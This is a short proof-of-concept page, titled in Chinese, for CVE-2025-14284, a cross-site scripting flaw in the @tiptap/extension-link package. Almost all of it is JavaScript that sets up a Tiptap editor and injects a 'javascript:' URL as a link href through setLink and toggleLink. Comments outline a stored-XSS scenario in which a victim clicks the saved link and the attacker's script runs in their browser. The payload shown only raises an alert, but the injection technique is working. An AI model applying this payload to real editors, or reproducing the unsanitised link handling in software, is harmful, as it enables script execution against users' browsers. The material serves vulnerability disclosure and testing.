CVE-2025-14284: @tiptap/extension-link XSS跨站脚本漏洞

// CVE-2025-14284 PoC - @tiptap/extension-link XSS // This PoC demonstrates how to inject javascript: URL in link extension const { Editor } = require('@tiptap/core'); const Link = require('@tiptap/extension-link'); // Create editor with vulnerable link extension const editor = new Editor({ extensions: [ Link.configure({ openOnClick: false, HTMLAttributes: { rel: 'noopener noreferrer', }, }), ], content: '<p>Click the link below:</p>', element: document.querySelector('#editor'), }); // Attack payload - inject javascript: URL as link // When clicked, this will execute arbitrary JavaScript const maliciousPayload = 'javascript:alert("XSS Vulnerability - CVE-2025-14284")'; // Method 1: Set link via commands editor.chain().focus().setLink({ href: maliciousPayload }).run(); // Method 2: Toggle link with malicious URL editor.chain().focus().toggleLink({ href: maliciousPayload }).run(); // Generated HTML will contain: // <a href="javascript:alert('XSS Vulnerability - CVE-2025-14284')">...</a> // Exploitation scenario: // 1. Attacker inserts the malicious link into editor content // 2. Content is saved/stored (stored XSS) // 3. Victim views the content containing the malicious link // 4. Victim clicks the link or it auto-triggers // 5. JavaScript code executes in victim's browser context console.log('Generated HTML:', editor.getHTML());